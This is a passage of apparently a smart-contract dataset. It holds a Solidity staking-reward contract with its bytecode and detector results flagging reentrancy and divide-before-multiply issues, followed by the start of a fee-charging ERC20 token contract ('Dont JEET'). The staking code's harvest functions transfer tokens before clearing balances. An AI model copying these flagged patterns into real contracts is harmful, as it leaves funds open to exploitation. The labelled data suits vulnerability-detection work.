IFARMINGPOOL(_RPEPELPURPLE).getTotalStakedAmount(); return stakedAmountInPKPool.add(stakedAmountInLPPool); } /** * @dev API to get current daily staking rate of RPEPEBLU pool. * * Algorithm * - rate = (block size / 2) / amount of rPEPE in RPEPEBLU and RPEPELPURPLE pools. * - if block size = 260,000KEK (phase 1) * then maximum rate=0.05KEK, minimum rate=0.005KEK * - if block size = 130,000KEK (phase 2) * then maximum rate=0.025KEK, minimum rate=0.0025KEK * - if block size = 65,000KEK (phase 3) * then maximum rate=0.0125KEK, minimum rate=0.00125KEK * - if block size = 32,500KEK (phase 4) * then maximum rate=0.00625KEK, minimum rate=0.000625KEK */ function getStakingRateInRPEPEBLU() public view returns (uint256) { uint256 maxRate = _getMaximunRate(); uint256 minRate = _getMinimunRate(); uint256 totalStakedAmount = getTotalStakedAmountInPools(); uint256 rate = 0; if (totalStakedAmount > 0) { rate = _rewardBlockAmount.mul(1E18).div(totalStakedAmount); if (rate < minRate) { rate = minRate; } else if (rate > maxRate) { rate = maxRate; } } return rate; } /** * @dev API to get current daily staking rate of RPEPELPURPLE pool. * * Algorithm * - rate = block size / amount of rPEPE in RPEPEBLU and RPEPELPURPLE pools * - if block size = 260,000KEK (phase 1) * then maximum rate=0.1KEK, minimum rate=0.01KEK * - if block size = 130,000KEK (phase 2) * then maximum rate=0.05KEK, minimum rate=0.005KEK * - if block size = 65,000KEK (phase 3) * then maximum rate=0.025KEK, minimum rate=0.0025KEK * - if block size = 32,500KEK (phase 4) * then maximum rate=0.0125KEK, minimum rate=0.00125KEK */ function getStakingRateInRPEPELPURPLE() public view returns (uint256) { uint256 maxRate = _getMaximunRate().mul(2); uint256 minRate = _getMinimunRate().mul(2); uint256 totalStakedAmount = getTotalStakedAmountInPools(); uint256 rate = 0; if (totalStakedAmount > 0) { rate = _rewardBlockAmount.mul(1E18).div(totalStakedAmount); if (rate < minRate) { rate = minRate; } else if (rate > maxRate) { rate = maxRate; } } return rate; } /** * @dev API to harvest staker's reward from RPEPEBLU. */ function harvestFromRPEPEBLU() external { uint256 pendingGains = getPendingGainsInRPEPEBLU(_msgSender()); // send tokens to the staker's account require(IKEK(_KEK).transfer(_msgSender(), pendingGains)); _gains[_msgSender()].RPEPEBLUPendingGains = 0; _gains[_msgSender()].RPEPEBLUTotalGained = _gains[_msgSender()].RPEPEBLUTotalGained.add(pendingGains); emit ClaimedReward(_msgSender(), pendingGains); } /** * @dev API to harvest staker's reward from RPEPELPURPLE. */ function harvestFromRPEPELPURPLE() external { uint256 pendingGains = getPendingGainsInRPEPELPURPLE(_msgSender()); // send tokens to the staker's account require(IKEK(_KEK).transfer(_msgSender(), pendingGains)); _gains[_msgSender()].RPEPELPURPLEPendingGains = 0; _gains[_msgSender()].RPEPELPURPLETotalGained = _gains[_msgSender()].RPEPELPURPLETotalGained.add(pendingGains); emit ClaimedReward(_msgSender(), pendingGains); } /** * @dev API to create new staking reward block and claim reward per day. */ function createRewardBlockAndClaimRewards() external { uint count = (block.timestamp - _lastTimestamp) / _timeInterval; _createRewardBlockAndClaimRewards(count); // update last timestamp _lastTimestamp = count * _timeInterval + _lastTimestamp; } /** * @dev Get maximum rate */ function _getMaximunRate() internal view returns (uint256) { uint256 maxRate = 0; if (_rewardBlockAmount == 260000E18) { // for phase 1 maxRate = 5E16; } else if (_rewardBlockAmount == 130000E18) { // for phase 2 maxRate = 25E15; } else if (_rewardBlockAmount == 65000E18) { // for phase 3 maxRate = 125E14; } else if (_rewardBlockAmount == 32500E18) { // for phase 4 maxRate = 625E13; } require(maxRate > 0, "Block size has been undefined"); return maxRate; } /** * @dev Get minimum rate */ function _getMinimunRate() internal view returns (uint256) { uint256 minRate = 0; if (_rewardBlockAmount == 260000E18) { // for phase 1 minRate = 5E15; } else if (_rewardBlockAmount == 130000E18) { // for phase 2 minRate = 25E14; } else if (_rewardBlockAmount == 65000E18) { // for phase 3 minRate = 125E13; } else if (_rewardBlockAmount == 32500E18) { // for phase 4 minRate = 625E12; } require(minRate > 0, "Block size has been undefined"); return minRate; } /** * @dev Create new staking reward block by calculation the remaining in staking reward. */ function _createRewardBlockAndClaimRewards(uint count) internal { for (uint i = 0; i < count; i++) { _createRewardBlockAndBurn(IKEK(_KEK).balanceOf(address(this))); _claimRewardsInRPEPEBLU(); _claimRewardsInRPEPELPURPLE(); } } /** * @dev Set the block amount for current staking reward and burn tokens for block amount * * Formula: * - 260,000 KEK (75%-100% remaining in staking reward) * - 130,000 KEK (50%-75% remaining in staking reward) * - 65,000 KEK (25%-50% remaining in staking reward) * - 32,500 KEK (0%-25% remaining in staking reward) */ function _createRewardBlockAndBurn(uint256 available) internal { require(available > 0, "Available KEK amount must be more than zero."); uint256 percent = available.div(49000000E10).mul(100); // Initialize total rewards per day _totalRewardsPerDay = 0; if (percent > 0 && percent < 25) { _rewardBlockAmount = 32500E18; IKEK(_KEK).burn(address(this), 32500E18); } else if (percent >= 25 && percent < 50) { _rewardBlockAmount = 65000E18; IKEK(_KEK).burn(address(this), 65000E18); } else if (percent >= 50 && percent < 75) { _rewardBlockAmount = 130000E18; IKEK(_KEK).burn(address(this), 130000E18); } else if (percent >= 75 && percent <= 100) { _rewardBlockAmount = 260000E18; IKEK(_KEK).burn(address(this), 260000E18); } } /** * @dev Claim rewards to all stakers in RPEPEBLU daily */ function _claimRewardsInRPEPEBLU() internal { address[] memory stakers = IFARMINGPOOL(_RPEPEBLU).getStakers(); for (uint256 i = 0; i < stakers.length; i++) { _calcPendingGainsInRPEPEBLU(stakers[i]); } } /** * @dev Claim rewards to all stakers in RPEPELPURPLE daily */ function _claimRewardsInRPEPELPURPLE() internal { address[] memory stakers = IFARMINGPOOL(_RPEPELPURPLE).getStakers(); for (uint256 i = 0; i < stakers.length; i++) { _calcPendingGainsInRPEPELPURPLE(stakers[i]); } } /** * @dev Calcuate staker's pending gains in RPEPEBLU. */ function _calcPendingGainsInRPEPEBLU(address account) internal { require(account != address(0), "Invalid address"); uint256 rewards = (IFARMINGPOOL(_RPEPEBLU).getStakedAmount(account)).mul(getStakingRateInRPEPEBLU()).div(1E18); if (_totalRewardsPerDay.add(rewards) > _rewardBlockAmount) { rewards = _rewardBlockAmount.sub(_totalRewardsPerDay); } _gains[account].RPEPEBLUPendingGains = _gains[account].RPEPEBLUPendingGains.add(rewards); _totalRewardsPerDay = _totalRewardsPerDay.add(rewards); } /** * @dev Calcuate staker's pending gains in RPEPELPURPLE. */ function _calcPendingGainsInRPEPELPURPLE(address account) internal { require(account != address(0), "Invalid address"); uint256 rewards = (IFARMINGPOOL(_RPEPELPURPLE).getStakedAmount(account)).mul(getStakingRateInRPEPELPURPLE()).div(1E18); if (_totalRewardsPerDay.add(rewards) > _rewardBlockAmount) { rewards = _rewardBlockAmount.sub(_totalRewardsPerDay); } _gains[account].RPEPELPURPLEPendingGains = _gains[account].RPEPELPURPLEPendingGains.add(rewards); _totalRewardsPerDay = _totalRewardsPerDay.add(rewards); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063b6301ba411610071578063b6301ba414610156578063c430074b146101ae578063da861c78146101cc578063e7b64fe314610224578063e7d5062f14610242578063fe8787dd1461024c576100a9565b8063072e6de4146100ae5780632cc54d6f146101065780633a4c15311461012457806368ac9d031461012e57806388d691d214610138575b600080fd5b6100f0600480360360208110156100c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102a4565b6040518082815260200191505060405180910390f35b61010e6102f0565b6040518082815260200191505060405180910390f35b61012c61037c565b005b6101366105f1565b005b610140610620565b6040518082815260200191505060405180910390f35b6101986004803603602081101561016c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610788565b6040518082815260200191505060405180910390f35b6101b66107d4565b6040518082815260200191505060405180910390f35b61020e600480360360208110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107de565b6040518082815260200191505060405180910390f35b61022c61082a565b6040518082815260200191505060405180910390f35b61024a6108dc565b005b61028e6004803603602081101561026257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b51565b6040518082815260200191505060405180910390f35b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b6000806102fb610b9d565b90506000610307610cac565b90506000610313610620565b9050600080905060008211156103725761035282610344670de0b6b3a7640000600554610dbb90919063ffffffff16565b610e4190919063ffffffff16565b90508281101561036457829050610371565b83811115610370578390505b5b5b8094505050505090565b600061038e610389610e8b565b610b51565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6103d6610e8b565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561044057600080fd5b505af1158015610454573d6000803e3d6000fd5b505050506040513d602081101561046a57600080fd5b810190808051906020019092919050505061048457600080fd5b600060076000610492610e8b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555061052f81600760006104e3610e8b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154610e9390919063ffffffff16565b6007600061053b610e8b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055507fd0813ff03c470dcc7baa9ce36914dc2febdfd276d639deffaac383fd3db42ba36105a5610e8b565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b600060045460035442038161060257fe5b04905061060e81610f1b565b60035460045482020160038190555050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338adb6f06040518163ffffffff1660e01b815260040160206040518083038186803b15801561068a57600080fd5b505afa15801561069e573d6000803e3d6000fd5b505050506040513d60208110156106b457600080fd5b810190808051906020019092919050505090506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338adb6f06040518163ffffffff1660e01b815260040160206040518083038186803b15801561073157600080fd5b505afa158015610745573d6000803e3d6000fd5b505050506040513d602081101561075b57600080fd5b810190808051906020019092919050505090506107818183610e9390919063ffffffff16565b9250505090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301549050919050565b6000600554905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201549050919050565b600080610848600261083a610b9d565b610dbb90919063ffffffff16565b905060006108676002610859610cac565b610dbb90919063ffffffff16565b90506000610873610620565b9050600080905060008211156108d2576108b2826108a4670de0b6b3a7640000600554610dbb90919063ffffffff16565b610e4190919063ffffffff16565b9050828110156108c4578290506108d1565b838111156108d0578390505b5b5b8094505050505090565b60006108ee6108e9610e8b565b6102a4565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb610936610e8b565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156109a057600080fd5b505af11580156109b4573d6000803e3d6000fd5b505050506040513d60208110156109ca57600080fd5b81019080805190602001909291905050506109e457600080fd5b6000600760006109f2610e8b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550610a8f8160076000610a43610e8b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610e9390919063ffffffff16565b60076000610a9b610e8b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055507fd0813ff03c470dcc7baa9ce36914dc2febdfd276d639deffaac383fd3db42ba3610b05610e8b565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050919050565b6000806000905069370ea0d47cf61a8000006005541415610bc75766b1a2bc2ec500009050610c2f565b691b87506a3e7b0d4000006005541415610bea576658d15e176280009050610c2e565b690dc3a8351f3d86a000006005541415610c0d57662c68af0bb140009050610c2d565b6906e1d41a8f9ec35000006005541415610c2c576616345785d8a00090505b5b5b5b60008111610ca5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f426c6f636b2073697a6520686173206265656e20756e646566696e656400000081525060200191505060405180910390fd5b8091505090565b6000806000905069370ea0d47cf61a8000006005541415610cd6576611c37937e080009050610d3e565b691b87506a3e7b0d4000006005541415610cf9576608e1bc9bf040009050610d3d565b690dc3a8351f3d86a000006005541415610d1c57660470de4df820009050610d3c565b6906e1d41a8f9ec35000006005541415610d3b576602386f26fc100090505b5b5b5b60008111610db4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f426c6f636b2073697a6520686173206265656e20756e646566696e656400000081525060200191505060405180910390fd5b8091505090565b600080831415610dce5760009050610e3b565b6000828402905082848281610ddf57fe5b0414610e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611eb36021913960400191505060405180910390fd5b809150505b92915050565b6000610e8383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061102c565b905092915050565b600033905090565b600080828401905083811015610f11576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008090505b818110156110285761100b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610fcb57600080fd5b505afa158015610fdf573d6000803e3d6000fd5b505050506040513d6020811015610ff557600080fd5b81019080805190602001909291905050506110f2565b611013611564565b61101b6116e0565b8080600101915050610f21565b5050565b600080831182906110d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561109d578082015181840152602081019050611082565b50505050905090810190601f1680156110ca5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816110e457fe5b049050809150509392505050565b6000811161114b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180611ed4602c913960400191505060405180910390fd5b600061117b606461116d6706ccd46763f1000085610e4190919063ffffffff16565b610dbb90919063ffffffff16565b905060006006819055506000811180156111955750601981105b1561127b576906e1d41a8f9ec3500000600581905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639dc29fac306906e1d41a8f9ec35000006040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561125e57600080fd5b505af1158015611272573d6000803e3d6000fd5b50505050611560565b6019811015801561128c5750603281105b1561137257690dc3a8351f3d86a00000600581905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639dc29fac30690dc3a8351f3d86a000006040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561135557600080fd5b505af1158015611369573d6000803e3d6000fd5b5050505061155f565b603281101580156113835750604b81105b1561146957691b87506a3e7b0d400000600581905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639dc29fac30691b87506a3e7b0d4000006040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561144c57600080fd5b505af1158015611460573d6000803e3d6000fd5b5050505061155e565b604b811015801561147b575060648111155b1561155d5769370ea0d47cf61a800000600581905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639dc29fac3069370ea0d47cf61a8000006040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561154457600080fd5b505af1158015611558573d6000803e3d6000fd5b505050505b5b5b5b5050565b60606000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166343352d616040518163ffffffff1660e01b815260040160006040518083038186803b1580156115cd57600080fd5b505afa1580156115e1573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561160b57600080fd5b810190808051604051939291908464010000000082111561162b57600080fd5b8382019150602082018581111561164157600080fd5b825186602082028301116401000000008211171561165e57600080fd5b8083526020830192505050908051906020019060200280838360005b8381101561169557808201518184015260208101905061167a565b50505050905001604052505050905060008090505b81518110156116dc576116cf8282815181106116c257fe5b602002602001015161185d565b80806001019150506116aa565b5050565b6060600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166343352d616040518163ffffffff1660e01b815260040160006040518083038186803b15801561174a57600080fd5b505afa15801561175e573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561178857600080fd5b81019080805160405193929190846401000000008211156117a857600080fd5b838201915060208201858111156117be57600080fd5b82518660208202830111640100000000821117156117db57600080fd5b8083526020830192505050908051906020019060200280838360005b838110156118125780820151818401526020810190506117f7565b50505050905001604052505050905060008090505b81518110156118595761184c82828151811061183f57fe5b6020026020010151611b02565b8080600101915050611827565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611900576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e76616c69642061646472657373000000000000000000000000000000000081525060200191505060405180910390fd5b6000611a0e670de0b6b3a7640000611a006119196102f0565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634da6a556876040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156119b757600080fd5b505afa1580156119cb573d6000803e3d6000fd5b505050506040513d60208110156119e157600080fd5b8101908080519060200190929190505050610dbb90919063ffffffff16565b610e4190919063ffffffff16565b9050600554611a2882600654610e9390919063ffffffff16565b1115611a4857611a45600654600554611da890919063ffffffff16565b90505b611a9d81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154610e9390919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550611af881600654610e9390919063ffffffff16565b6006819055505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611ba5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e76616c69642061646472657373000000000000000000000000000000000081525060200191505060405180910390fd5b6000611cb4670de0b6b3a7640000611ca6611bbe61082a565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634da6a556876040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611c5d57600080fd5b505afa158015611c71573d6000803e3d6000fd5b505050506040513d6020811015611c8757600080fd5b8101908080519060200190929190505050610dbb90919063ffffffff16565b610e4190919063ffffffff16565b9050600554611cce82600654610e9390919063ffffffff16565b1115611cee57611ceb600654600554611da890919063ffffffff16565b90505b611d4381600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154610e9390919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550611d9e81600654610e9390919063ffffffff16565b6006819055505050565b6000611dea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611df2565b905092915050565b6000838311158290611e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e64578082015181840152602081019050611e49565b50505050905090810190601f168015611e915780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77417661696c61626c65204b454b20616d6f756e74206d757374206265206d6f7265207468616e207a65726f2ea2646970667358221220d0c8ed8ebc174094fe7fb10d3be2768f12166370a0374578c542e600f71c221264736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
6
0x03380c491c5051edc4e1a89352c28aa383dee7f0
/** *Submitted for verification at Etherscan.io on 2022-03-13 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DJEET is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Dont JEET"; string private constant _symbol = "DJEET"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 69e21 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; // Jeets out Fee uint256 private _redisFeeJeets = 5; uint256 private _taxFeeJeets = 25; // Buy Fee uint256 private _redisFeeOnBuy = 3; uint256 private _taxFeeOnBuy = 12; // Sell Fee uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 12; // Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; mapping(address => uint256) private cooldown; address payable private _marketingAddress = payable(0x647e7Ea2197a395Eea0A6522BfB0062593D0FC35); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public timeJeets = 2 hours; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; uint256 public _maxTxAmount = 69E19 * 10**9; //1% - 10000000000 uint256 public _maxWalletSize = 138E19 * 10**9; //2% uint256 public _swapTokensAtAmount = 1000 * 10**9; uint256 public _minimumBuyAmount = 345E18 * 10**9 ; // 0.5% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function marketingWallet() public view returns (address) { return _marketingAddress; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { // Trade start check if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 30 minutes) { require(amount <= _minimumBuyAmount, "Amount too much"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; // Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { // Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; // antibot if (block.timestamp == launchTime) { _isSniper[to] = true; } } // Set Fee for Sells // TAX 